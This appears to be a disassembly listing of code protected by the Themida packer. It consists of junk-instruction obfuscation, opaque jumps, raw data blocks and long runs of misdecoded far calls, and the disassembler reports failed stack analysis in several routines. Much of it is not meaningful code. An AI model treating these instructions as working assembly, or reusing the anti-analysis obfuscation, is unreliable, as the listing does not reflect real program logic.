		mov	esi, eax
		clc
		adc	ebx, 7C462438h
		movzx	esi, cx
		mov	esi, 5B91EC4Fh
		pusha
		mov	eax, edx
		push	ebx
		jno	$+6
		pop	esi
		popa
		jmp	loc_5CF677
; ---------------------------------------------------------------------------
		db 0D0h, 6Dh, 3Ch
		db 4Eh,	0F8h, 30h
; ---------------------------------------------------------------------------


loc_5CF677:				; CODE XREF: Themida_:005CF66Cj
		movzx	ecx, di
		mov	bl, ah
		jnb	loc_5CF6A0
		jns	loc_5CF6A0
		jmp	loc_5CF6A0
; ---------------------------------------------------------------------------
		align 2
		dw 2509h
		dd 0B655251Fh, 0BEB907AFh, 3AEDF738h, 662D25E7h
; ---------------------------------------------------------------------------


loc_5CF6A0:				; CODE XREF: Themida_:005CF67Cj
					; Themida_:005CF682j ...
		jle	$+6
		jmp	loc_5CF6B5
; ---------------------------------------------------------------------------
		db 75h
		dd 6BB49232h, 0C1CC46F7h
		db 80h
; ---------------------------------------------------------------------------


loc_5CF6B5:				; CODE XREF: Themida_:005CF6A6j
		mov	ecx, edi
		mov	ebx, edx
		movsx	edi, bx
		mov	si, 0E5EAh
		and	bl, 83h
		mov	si, di
		adc	ch, 23h
		pusha
		mov	bx, 7E0Eh
		mov	edi, eax
		popa
		sbb	al, 5Bh
		and	ax, 29C2h
		adc	ah, 0FBh
		jmp	loc_5CF6F1
; ---------------------------------------------------------------------------
		pop	ss
		dec	esp
		mov	dh, 10h
		mov	esi, 45785B31h
		xchg	eax, esp
		add	[esi+9], dl
		mov	bl, 0C6h
		cmpsd


loc_5CF6F1:				; CODE XREF: Themida_:005CF6DCj
		jg	loc_5CF6FA
		and	ah, 0B6h


loc_5CF6FA:				; CODE XREF: Themida_:loc_5CF6F1j
		jmp	loc_5CF707
; ---------------------------------------------------------------------------
		db 2Dh
		dd 209F7F4h
		db 0D1h, 0F5h, 87h
; ---------------------------------------------------------------------------


loc_5CF707:				; CODE XREF: Themida_:loc_5CF6FAj
		sub	ebx, 12B0BF94h
		jmp	loc_5CF719
; ---------------------------------------------------------------------------
		mov	edx, 0B5AA0CE4h
		sbb	cl, [ebx]


loc_5CF719:				; CODE XREF: Themida_:005CF70Dj
		push	eax
		mov	bx, di
		pop	esi
		cmc
		jmp	loc_5CF738
; ---------------------------------------------------------------------------
		dd 47190CC9h, 82C0558h,	0F2633E73h, 0DAD2CB56h,	0E86D0468h
; ---------------------------------------------------------------------------


loc_5CF738:				; CODE XREF: Themida_:005CF71Fj
		stc
		push	ecx
		mov	esi, ebx
		pop	edx
		jg	loc_5CF746
		movsx	edx, dx


loc_5CF746:				; CODE XREF: Themida_:005CF73Dj
		push	edi
		mov	ax, 0BA1Dh
		pop	eax
		movzx	esi, si
		jmp	loc_5CF75F
; ---------------------------------------------------------------------------
		dd 73040624h, 0A21847Ah
		db 75h,	91h, 0FDh
; ---------------------------------------------------------------------------


loc_5CF75F:				; CODE XREF: Themida_:005CF74Fj
		call	loc_5CF770
		push	ss
		pop	ds
		assume ds:nothing
		sub	al, 8Ah
		mov	eax, ds:0B46EAC22h
		xchg	edx, [edx-70h]


loc_5CF770:				; CODE XREF: Themida_:loc_5CF75Fp
		pusha
		stc
		movsx	ebx, cx
		popa
		pop	ebx
		push	edi
		pop	edi
		movsx	esi, bx
		call	loc_5CF794
		fisttp	dword ptr [edx+edi+20h]
		test	al, 0A5h
		cli
		mov	ch, 6Ah
		insb
; ---------------------------------------------------------------------------
		db 8Fh
; ---------------------------------------------------------------------------
		mov	esp, eax
		add	[esi+5EB8BDC7h], edx


loc_5CF794:				; CODE XREF: Themida_:005CF77Cp
		movsx	edi, cx
		pop	edx
		sbb	dx, 0DDCFh
		and	ecx, 7169C011h
		sub	dx, 55Ah
		mov	bx, di
		movzx	edi, dx
		push	edx
		mov	ah, 15h
		pop	edx
		jb	loc_5CF7BB
		and	ch, 0EEh


loc_5CF7BB:				; CODE XREF: Themida_:005CF7B2j
		call	sub_5CF7CB
		push	cs
		mov	ebx, 0CCA31930h
; ---------------------------------------------------------------------------
		dw 7C8Ch
		db 0C6h, 7Ah, 99h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_5CF7CB	proc near		; CODE XREF: Themida_:loc_5CF7BBp
		jmp	sub_5CF7E1
sub_5CF7CB	endp

; ---------------------------------------------------------------------------
		dd 0B7225A35h, 0FCA6EA0Eh, 6F4DE913h, 5C6DF03Ch
; ---------------------------------------------------------------------------
		inc	edx

; =============== S U B	R O U T	I N E =======================================



sub_5CF7E1	proc near		; CODE XREF: sub_5CF7CBj

; FUNCTION CHUNK AT 005CF85A SIZE 0000000F BYTES

		pop	ecx
		ja	loc_5CF7EA
		mov	bl, dh


loc_5CF7EA:				; CODE XREF: sub_5CF7E1+1j
		mov	dx, 0D1Fh
		mov	si, 2B6Ah
		mov	bx, cx
		sbb	edi, 6567A116h
		push	ecx
		push	ebx
		and	dl, 0B9h
		pop	eax
		pop	edi
		jle	loc_5CF80E
		and	edx, 3DD8EDC2h


loc_5CF80E:				; CODE XREF: sub_5CF7E1+21j
		pusha
		xor	edx, 1ED32B99h
		ja	near ptr loc_5CF824+4
		call	near ptr loc_5CF824+3
		mov	ah, 4Bh
		jnp	short loc_5CF85A


loc_5CF824:				; CODE XREF: sub_5CF7E1+3Ap
					; sub_5CF7E1+34j
		cmp	ebp, ss:[ebx+0BE9615Ah]
sub_5CF7E1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0
		dd 9B800000h, 3BD7AAE6h, 6B7FA85Ah, 0BE910h, 9DC70000h
		dd 0D0DAAA8Bh, 6344252Ch, 18F0FF0h, 0F5000000h,	11E9h
		dd 0E1706200h
; ---------------------------------------------------------------------------
		jno	short loc_5CF8D6
; START	OF FUNCTION CHUNK FOR sub_5CF7E1


loc_5CF85A:				; CODE XREF: sub_5CF7E1+41j
		cmc
		inc	esp
		xor	ebx, ebp
		mov	eax, 4B9000FEh
		mul	dword ptr [esi+0CE96027h]
; END OF FUNCTION CHUNK	FOR sub_5CF7E1
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 279A807Fh, 0DB3D1A8Fh, 32353495h, 0B4C0B761h, 810F22h
		dd 0E9000000h, 7, 98BBF630h, 0F9BCEB0h,	0B8B0F0B7h, 6A6AC781h
		dd 0D0812C98h, 5AA959AFh, 0BF0F6060h, 666061CFh, 2685F681h
		dd 631946B9h, 6661613Eh, 0BA6CDB81h, 16870Fh, 0FE80000h
		dd 92000000h, 0B8E1995Ch, 4707EDF2h, 9A45EE6h, 5AF95BC1h
		db 56h,	8Bh
; ---------------------------------------------------------------------------


loc_5CF8D6:				; CODE XREF: Themida_:005CF858j
		setalc
		pop	edx
		mov	edi, eax
		sbb	ebx, 0CD79AD6h
		mov	edi, esi
		jmp	loc_5CF8EF
; ---------------------------------------------------------------------------
		db 91h
		dd 3B1E2C13h
		db 0F3h, 0D1h, 0F4h
; ---------------------------------------------------------------------------


loc_5CF8EF:				; CODE XREF: Themida_:005CF8E2j
		call	near ptr loc_5CF8FE+3
		repne sub eax, 46F08FFDh
		db	67h
		mov	al, 0C7h
		daa


loc_5CF8FE:				; CODE XREF: Themida_:loc_5CF8EFp
		sar	byte ptr [esi-72F0A47Dh], cl
		adc	al, 0
; ---------------------------------------------------------------------------
		dw 0
		dd 8E8h, 0E6CDFF00h, 4E102624h,	890F44h, 58000000h, 35D38166h
		dd 1FBE665Ch, 0DBB70FEEh, 0EE8h, 2D620300h, 3D168EDh, 9D8BBE8Ah
		dd 0E9FB5EE7h, 7, 958193BEh, 5BBAFE12h,	12E951h, 0F7240000h
		dd 0C3134EB9h, 513389Ah, 77FE1935h, 2C819812h, 0ECB1BE5Fh
		dd 0FF84268h, 38Bh, 0FEB70F00h,	0C5C68166h, 0B70F5787h
		dd 0B70F59CFh, 5840FC3h, 66000000h, 0EAFCC881h,	27864EBAh
		dd 0F60603Eh, 8Ch, 0DE96100h, 0C9000000h, 37E57777h, 6A38DBDAh
		dd 4F9DE351h, 6880F61h,	81000000h, 0C98D87C0h, 0B966535Dh
		dd 0E9591ED1h, 0Eh, 661E310Bh, 91AE9AC1h, 3C5A67C0h, 0DE810B0Dh
		dd 29832D9Bh, 0BF715DBAh, 0D2EB8155h, 0F91ACCFFh, 8C0FD88Ah
		dd 5, 0A41AB2BBh, 0BE902h, 4F6A0000h, 0EDA4720Eh, 23846C79h
		dd 0E95AB19Bh, 0Ch, 0D1AC5BC5h,	0D3A6EBFFh, 983BF21h, 18B0Fh
		dd 0FF90000h, 381h, 0CBB70F00h,	6E9h, 0E6218800h, 818D3B80h
		dd 11165DF0h, 0F3816678h, 0B70F9100h, 11E9FFh, 41FC0000h
		dd 27F86B07h, 1B71863Dh, 0DD39B753h, 0F848A7B6h, 10810Fh
		dd 8E80000h, 1B000000h,	24F01DD5h, 60B65FB8h, 0B9525F61h
		dd 7D178358h, 0BF0F535Bh, 8B0F5AF0h, 0Fh, 0AE9h, 53321C00h
		dd 6C210EFCh, 0F525D20Ch, 38B0Fh, 8B660000h, 3880FD7h
		dd 80000000h, 0EE848C5h, 34000000h, 1A112A49h, 82D79BAFh
		dd 6A44E66Dh, 0BE85125h, 0FE000000h, 0D3B304C6h, 258EBADCh
		dd 5B58295Eh, 0B1F6815Eh, 816376DDh, 3B9977CFh,	0EE973h
		dd 7D540000h, 7AFB315Eh, 0B1ADB47Ch, 0D0EDC5D9h, 0AE8h
		dd 37003B00h, 0BF977D0Fh, 81872E79h, 4C2E2BCBh,	5E8586Fh
		dd 0B4000000h, 15E0DE1h, 815EEB8Ah, 0BF09DCC8h,	0EE962h
		dd 0FB1B0000h, 0F17B5C14h, 71FE0BA0h, 0C4614F63h, 66F87DB7h
		dd 2D4FD281h, 0E8CF8B66h, 14h, 8FD489FFh, 64068461h, 9ABBE8DEh
		dd 1850440h, 54ED345h, 276F67BAh, 2DBF5B48h, 660A7B4Fh
		dd 0E848CCBFh, 14h, 0D68A92Fh, 2EBDB55Fh, 70AA7903h, 0FA40F039h
		dd 753DA402h, 0BE8h, 5DDF4700h,	970D107Bh, 0DE3CDD0Fh
		dd 9A38F081h, 5B5F19FAh, 666EC180h, 0F0CEE881h,	0BE9FCh
		dd 0A8690000h, 0B29A3A4h, 0C93DD0F1h, 0E8DA8B92h, 11h
		dd 4FA7035Ch, 0CCA67A85h, 69C78221h, 8BE0191Fh,	5B73B18Fh
		dd 0E9F28B66h, 8, 7388D31Fh, 9A1BB2BEh,	880FD3B6h, 3, 66D3C580h
		dd 901ED381h, 0C68A4BB6h, 0FDEBF0Fh, 588h, 0C6816600h
		dd 8B66FF58h, 0D58050CFh, 0C9815FC3h, 6037C95Dh, 8162D880h
		dd 375E07F0h, 0EA81665Fh, 0AE956BBh, 7C000000h,	132C7669h
		dd 59725559h, 2800F56h,	0B4000000h, 8A0F5090h, 6, 890Fh
		dd 0E95E0000h, 9, 0C0FD84D6h, 2B4D6D13h, 0AB77BB21h, 0D08125D1h
		dd 3185C35Fh, 0E9C38B66h, 8, 0E6A64452h, 9342B20Fh, 12E957h
		dd 0ED10000h, 0E9ADDC9Ch, 13793A17h, 0E849B274h, 0ED4827Ch
		dd 78A0F59h, 60000000h,	0EF80FA8Bh, 0C18B619Eh,	1A8A0Fh
		dd 0E9600000h, 10h, 6292881Ch, 33D49D66h, 17E15EEDh, 0F5D794C2h
		dd 61CEB70Fh, 2062BB66h, 0F88B29B1h, 666FF680h,	0B7DAD981h
		dd 8AF5CA8Ah, 11E8D9h, 0AF3C0000h, 0BB7AD82Dh, 2302730Ch
		dd 0F796F139h, 0E9E6F70Bh, 0Ch,	219A183h, 3D88CD41h, 4198D2F1h
		dd 0C8B70F58h, 0E95AF956h, 0Ch,	0EB5FC3C6h, 10067846h
		dd 68A1506Eh, 0B804CBAh, 0B45E5641h, 6656FC4Fh,	8A5FC28Bh
		dd 0EC94BBEAh, 10E92DC5h, 6D000000h, 0BF54C3B5h, 0AD58DF9Ch
		dd 181CEB4Dh, 81F3A229h, 0C9BF3ED0h, 8A4EB224h,	14E8CFh
		dd 0F8A40000h, 0EFAB8536h, 551348FBh, 171B7534h, 0BE10B64Ch
		dd 5BFC5B31h, 884FBE66h, 4820F51h, 66000000h, 585F28B8h
		dd 27CDC281h, 0E9801A2Eh, 0F081669Dh, 41BA5745h, 80763FE1h
		dd 81665AE4h, 8B332BF1h, 0FD38BDEh, 0CB80C2BFh,	665F53BEh
		dd 0E781C38Bh, 67A74339h, 5457CE81h, 0B70F3D85h, 11870FF8h
		dd 0E9000000h, 0Ch, 0C72D6C70h,	3106CBDAh, 0F2923833h
		dd 0FFE8B66h, 582h, 0E847BE00h,	0E3811AD8h, 224430EAh
		dd 12E9h, 1014AF00h, 610F6BCCh,	404E5404h, 5FB6C5A8h, 804793E4h
		dd 5E9E8D0h, 85000000h,	59051F45h, 66F98B66h, 870FD18Bh
		dd 4, 4FFBE66h,	4D2DC181h, 850F3ABEh, 3, 66FEB70Fh, 0F9A0ABBEh
		dd 0AE8h, 97A71B00h, 0C301DB49h, 5886EF00h, 6DA9E3BBh
		dd 0CFE28131h, 0F55BD9DFh, 2B84D281h, 0C6811B35h, 3F77D951h
		dd 0E95EFC57h, 0Ch, 0AF6B1A0h, 0AD213184h, 32F4825Ch, 61E8DFB9h
		dd 0B9666018h, 8B668065h, 816661F0h, 0B0B03EDEh, 0A511BA00h
		dd 0D98B58DAh, 0E9CBD380h, 8, 24A24008h, 0DA7DB862h, 8A25E580h
		dd 12870FE5h, 0E9000000h, 0Dh, 0FB2EA594h, 36FD0AB9h, 0C9535570h
		dd 660BA58h, 8E0F0D61h,	0Eh, 0CCD18160h, 0F0897B8h, 8Dh
		dd 0C4806100h, 11E913h,	462A0000h, 6EBA3CD9h, 0B5B91CDAh
		dd 13FA1377h, 60CBCFCFh, 0E9F3B70Fh, 13h, 0CFF130E3h, 12217CDDh
		dd 5D4C5492h, 0DE46E9DAh, 61F72CDAh, 12E951h, 12230000h
		dd 6DF7B80Ch, 33BF1149h, 87B0A7EEh, 0C3A61B5Eh,	4810F58h
		dd 66000000h, 60E5BAB8h, 10830FF8h, 0E9000000h,	0Bh, 9A3725F1h
		dd 46642E44h, 616EA8E3h, 9E9h, 25B92C00h, 36A8FB0Fh, 14E9F575h
		dd 0B0000000h, 1660179Fh, 0C7A05DC2h, 0F2CA0ED7h, 105A13D7h
		dd 66795A92h, 0BB37F281h, 3DE88166h, 0EE816610h, 0CB8143D8h
		dd 64EE039Bh, 0F079C381h, 8C0F7EE5h, 3,	0F2AC280h, 0E83h
		dd 9E900h, 0A8D40000h, 115C8A69h, 66CD60B4h, 8166D78Bh
		dd 0F39BCC8h, 8Fh, 0F3B70F00h, 0E9E38AF5h, 8, 0DFD4D92Eh
		dd 0ED3C3A80h, 2875A9BFh, 13E87Ah, 0A9900000h, 2D6FE43Bh
		dd 0BA646298h, 7DA318C6h, 0B6D26F43h, 9AE4BF4Eh, 0F5A7227h
		dd 84h,	0DF816600h, 0C280D76Bh,	66F18B0Dh, 5A30D981h, 8B665957h
		dd 88BA66CAh, 0DE9F9FEh, 58000000h, 0C4D8B71Ch,	560CB026h
		dd 0F2713F3Dh, 1384BE66h, 5820Fh, 81660000h, 0BB72A3CBh
		dd 0E9D7121h, 0AE9h, 0C2535800h, 6EDFC278h, 0E9FCC8E5h
		dd 10h,	4B2A4BA5h, 0C56CA861h, 0F0C11C42h, 0B37E9BB8h
		dd 0E9FAB70Fh, 12h, 9F2B33EAh, 0C394DE38h, 218D0BE5h, 0F06C85B1h
		dd 8166FBBDh, 608E81D9h, 8B66C68Bh, 0BA6661D0h,	8C0F7E5Ch
		dd 3, 6625E280h, 0F91CABEh, 1A8Dh, 12E800h, 0CB440000h
		dd 0C21B7A38h, 309FB3F0h, 0E18B827Dh, 0CD5DD1BAh, 0E9586160h
		dd 0Dh,	1238B3FBh, 5B603283h, 1E30AAB9h, 0D8B70F57h, 0BE8h
		dd 1C28E300h, 2C49DEA7h, 0FD3DDC8Ch, 0F5CB95Eh,	850F61B0h
		dd 0
		dd 8F0Fh, 66530000h, 318BE881h,	0F78B6658h, 7E8C78Bh, 18000000h
		dd 2B911B7Fh, 0D68099F5h, 0E8F55A93h, 7, 7198E207h, 561027F5h
		dd 6E9h, 0B435EE00h, 598D4C24h,	4830F58h, 66000000h, 0E9EFACB9h
		dd 7, 8A392AA1h, 56E9228Ch, 11E9h, 4BB8C000h, 2BBAA35Fh
		dd 0A29F5524h, 7D08E659h, 605EB3EAh, 0E3816160h, 525686E1h
		dd 0F43FB861h, 0E6805F2Dh, 14E908h, 41970000h, 0F36C4E08h
		dd 65676130h, 99F06836h, 91D3D6DDh, 0BB601833h,	6649CEF6h
		dd 520840BAh, 7B96142h,	0F4C9F4Ch, 380h, 0C1F78000h, 3890Fh
		dd 0B70F0000h, 0DF8166CFh, 0BB6657B7h, 0D78BB268h, 0EE9A0B0h
		dd 30000000h, 0F183A7C7h, 0A7C3038h, 0C61DFB42h, 13E9F9h
		dd 0EC870000h, 0DE26BAC4h, 0D27E58BAh, 0D374322Fh, 98FA768Fh
		dd 4DA2B9D9h, 81661DDFh, 8A27EAEFh, 0EA80F8D5h,	17800F0Bh
		dd 60000000h, 0FE9F5h, 18C60000h, 6F437DA3h, 124EB6D2h
		dd 85998849h, 8B666144h, 0E880FCBh, 0E8000000h,	8, 0D8B1AAF0h
		dd 0E3A87EEEh, 0EE8F85Fh, 0F000000h, 36D1450Fh,	32D3C93Ch
		dd 6E55AD90h, 0C6BF0F43h, 0C981665Eh, 8E872DAh,	22000000h
		dd 7D1A4F36h, 8B7CF474h, 81665AD6h, 80C358DFh, 666061CDh
		dd 61576CBEh, 13E952h, 64D90000h, 0E1CA476Bh, 0CD4B164Bh
		dd 0B7E90DFAh, 4B271FFh, 0E2815E6Fh, 3D423C81h,	8E8h, 11904600h
		dd 577A7C80h, 59DA8BBDh, 1F880Fh, 13E80000h, 50000000h
		dd 1E249E21h, 9CB740E3h, 0E8D1FF57h, 0E836E594h, 8E0F99C3h
		dd 0
; ---------------------------------------------------------------------------
		pop	edi
		jle	loc_5D026B
		mov	si, 133Ah


loc_5D026B:				; CODE XREF: Themida_:005D0261j
		push	ecx
		pusha
		jmp	loc_5D0277
; ---------------------------------------------------------------------------
		dw 7576h
		db 35h,	89h, 22h
; ---------------------------------------------------------------------------


loc_5D0277:				; CODE XREF: Themida_:005D026Dj
		jge	$+6
		popa
		pop	edi
		call	sub_5D028E
; ---------------------------------------------------------------------------
		dd 7CCBE80Eh, 0F407C497h
		db 61h,	83h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_5D028E	proc near		; CODE XREF: Themida_:005D027Fp
		mov	al, 56h
		pop	esi
		jmp	loc_5D02A8
; ---------------------------------------------------------------------------
		dw 2BF5h
		dd 439CA329h, 0E2EDAF7Ch, 0B7B45EB6h, 0DC31B9E0h
; ---------------------------------------------------------------------------


loc_5D02A8:				; CODE XREF: sub_5D028E+3j
		mov	esi, 346F70ADh
		movzx	esi, bx
		jmp	loc_5D02C0
; ---------------------------------------------------------------------------
		db 6Eh,	0AEh, 1Dh
		dd 597BC45Bh, 903A1CEDh
; ---------------------------------------------------------------------------


loc_5D02C0:				; CODE XREF: sub_5D028E+22j
		and	cx, 3643h
		sbb	edx, 774F0CB4h
		jmp	loc_5D02E1
; ---------------------------------------------------------------------------
		dd 1AF5B288h, 920FC6CBh, 4095DF8Fh, 22A0D269h
		db 35h
; ---------------------------------------------------------------------------


loc_5D02E1:				; CODE XREF: sub_5D028E+3Dj
		mov	eax, edi
		clc
		mov	ebx, edi
		cmc
		mov	edx, 5C65F74Dh
		mov	ax, 0AE97h
		jmp	loc_5D02FB
; ---------------------------------------------------------------------------
		db 9, 14h, 0DAh
		db 9Ah,	49h, 0
; ---------------------------------------------------------------------------


loc_5D02FB:				; CODE XREF: sub_5D028E+62j
		call	sub_5D030C
sub_5D028E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 6FCBE9E9h, 5D9A96AAh, 0F3601A08h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_5D030C	proc near		; CODE XREF: sub_5D028E:loc_5D02FBp
		or	cx, 55B8h
		pop	edx
		pusha
		mov	di, si
		xor	eax, 27AA442Fh
		popa
		mov	eax, 4BBC56E7h
		mov	ecx, 1DAC7801h
		jmp	loc_5D0340
; ---------------------------------------------------------------------------
		dd 4C77E87Ah, 0D0681616h, 615E6D8Ah, 44C325C5h,	0A7FEC971h
; ---------------------------------------------------------------------------


loc_5D0340:				; CODE XREF: sub_5D030C+1Bj
		mov	cx, 0CE63h
		sub	si, 0E213h
		js	loc_5D0354
		xor	si, 6FB6h


loc_5D0354:				; CODE XREF: sub_5D030C+3Dj
		jg	loc_5D0369
		jmp	loc_5D0369
; ---------------------------------------------------------------------------
		db 0Bh
; ---------------------------------------------------------------------------
		ffree	st
		xor	ebx, [ecx+7E2AD40Eh]
		int	3		; Trap to Debugger


loc_5D0369:				; CODE XREF: sub_5D030C:loc_5D0354j
					; sub_5D030C+4Ej
		jmp	loc_5D0375
; ---------------------------------------------------------------------------
		dw 42F4h
; ---------------------------------------------------------------------------
		xor	eax, 0B85F5A70h


loc_5D0375:				; CODE XREF: sub_5D030C:loc_5D0369j
		push	ebx
		mov	eax, 3ECCEB56h
		pop	esi
		mov	ebx, edi
		and	al, 0A6h
		mov	bx, 72C2h
		jmp	loc_5D0398
; ---------------------------------------------------------------------------
		dw 0E324h
		dd 216A046h, 0B98C77A8h, 0E12B8DC5h
; ---------------------------------------------------------------------------


loc_5D0398:				; CODE XREF: sub_5D030C+79j
		cld
		mov	dh, 52h
		movsx	edi, cx
		stc
		cld
		movsx	edx, bx
		mov	bh, ah
		adc	eax, 135A730Dh
		pusha
		jmp	loc_5D03B8
; ---------------------------------------------------------------------------
		db 4Bh,	9, 1Eh
		dd 8D5399CEh
; ---------------------------------------------------------------------------


loc_5D03B8:				; CODE XREF: sub_5D030C+A0j
		mov	eax, 241F34F5h
		popa
		adc	eax, 270DF658h
		mov	ax, di
		jmp	loc_5D03DE
; ---------------------------------------------------------------------------
		or	ch, [ecx-2B2EAC03h]
		xchg	eax, edi
		mov	word ptr [ecx+58h], ds
		xlat
		pop	ecx
		and	ebx, 30DC514Dh


loc_5D03DE:				; CODE XREF: sub_5D030C+BBj
		sub	edi, 7D3248E4h
		or	dx, 9679h
		jmp	loc_5D03F7
; ---------------------------------------------------------------------------
		dw 72DBh
		dd 0C2B983AFh
		db 0D6h, 2Ah, 0A8h
; ---------------------------------------------------------------------------


loc_5D03F7:				; CODE XREF: sub_5D030C+DDj
		mov	edi, eax
		mov	bl, 0DCh
		jmp	loc_5D0414
; ---------------------------------------------------------------------------
		dd 9BF0FA9Eh, 339E9636h, 28DD631Fh, 0EC737686h,	3ECB12B0h
; ---------------------------------------------------------------------------


loc_5D0414:				; CODE XREF: sub_5D030C+EFj
		mov	ax, bx
		cld
		mov	di, bx
		xor	cx, 79FBh
		mov	esi, ecx
		jnp	loc_5D042E
		jo	$+6


loc_5D042E:				; CODE XREF: sub_5D030C+116j
		adc	cx, 0E5D4h
		push	ebx
		mov	bl, ch
		pop	edx
		movzx	eax, dx
		jo	loc_5D044C
		jmp	loc_5D044C
; ---------------------------------------------------------------------------
		db 8Ch,	6Ah, 0DDh
		dd 4285A7E9h
; ---------------------------------------------------------------------------


loc_5D044C:				; CODE XREF: sub_5D030C+12Ej
					; sub_5D030C+134j
		pusha
		jmp	loc_5D045D
; ---------------------------------------------------------------------------
		dw 0D96Bh
		dd 323E60AFh, 537B966Dh
; ---------------------------------------------------------------------------
		xchg	eax, edi


loc_5D045D:				; CODE XREF: sub_5D030C+141j
		stc
		popa
		js	$+6
		jmp	loc_5D0472
; ---------------------------------------------------------------------------
		dw 6E27h
		dd 8658B2FDh
		db 26h,	0D2h
; ---------------------------------------------------------------------------


loc_5D0472:				; CODE XREF: sub_5D030C+159j
		push	edx
		cmc
		pop	esi
		sbb	ecx, 5E427691h
		mov	ax, cx
		mov	edi, 6596C278h
		push	edi
		pop	ebx
		mov	edx, 1FADCC32h
		jno	loc_5D0494
		push	esi
		mov	bh, 0F7h
		pop	ebx


loc_5D0494:				; CODE XREF: sub_5D030C+17Ej
		jmp	loc_5D049F
; ---------------------------------------------------------------------------
		cmp	[edi-64A24065h], edx


loc_5D049F:				; CODE XREF: sub_5D030C:loc_5D0494j
		mov	bx, 73C3h
		jp	loc_5D04AE
		and	cx, 0D6A4h


loc_5D04AE:				; CODE XREF: sub_5D030C+197j
		sbb	di, 0E348h
		push	ecx
		jb	loc_5D04C0
		ja	$+6


loc_5D04C0:				; CODE XREF: sub_5D030C+1A8j
		pop	esi
		jbe	loc_5D04D1
		jns	loc_5D04D1
		mov	cx, 0D06Fh


loc_5D04D1:				; CODE XREF: sub_5D030C+1B5j
					; sub_5D030C+1BBj
		jnz	loc_5D04DA
		mov	di, bx


loc_5D04DA:				; CODE XREF: sub_5D030C:loc_5D04D1j
		mov	dx, 2779h
		mov	edx, 50BB26B4h
		stc
		mov	edx, esi
		mov	dx, 9002h
		push	ecx
		pusha
		jmp	loc_5D0501
; ---------------------------------------------------------------------------
		cmp	al, 0Ch
		add	ah, 80h
		imul	edx, [edx], 0CB7E636Ah
		mov	edx, 4A9A6503h


loc_5D0501:				; CODE XREF: sub_5D030C+1E0j
		cmc
		popa
		pop	edi
		jg	loc_5D050C
		mov	esi, ecx


loc_5D050C:				; CODE XREF: sub_5D030C+1F8j
		jno	loc_5D051D
		jge	loc_5D051D
		mov	edx, 6503E103h


loc_5D051D:				; CODE XREF: sub_5D030C:loc_5D050Cj
					; sub_5D030C+206j
		movzx	eax, bx
		call	sub_5D0537
sub_5D030C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3Bh,	0C8h, 0E2h
		dd 0B799EA43h, 0EDCF012Fh, 0E3CBCD02h
		db 1Fh,	0D3h, 88h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_5D0537	proc near		; CODE XREF: sub_5D030C+214p
		mov	ax, 0A9C0h
		pop	ebx
		movsx	esi, bx
		add	ebx, 41742005h
		jnp	$+6
		mov	bx, ax
		jmp	loc_5D0567
; ---------------------------------------------------------------------------
		db 8Ch
		dd 34DED881h, 0E9FC2464h, 0C692E480h, 395096A0h
		db 90h
		db 0AAh, 0D1h
; ---------------------------------------------------------------------------


loc_5D0567:				; CODE XREF: sub_5D0537+17j
		pop	esp
		pusha
		lahf
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
		push	edi
		call	far ptr	9F60h:9A579F60h
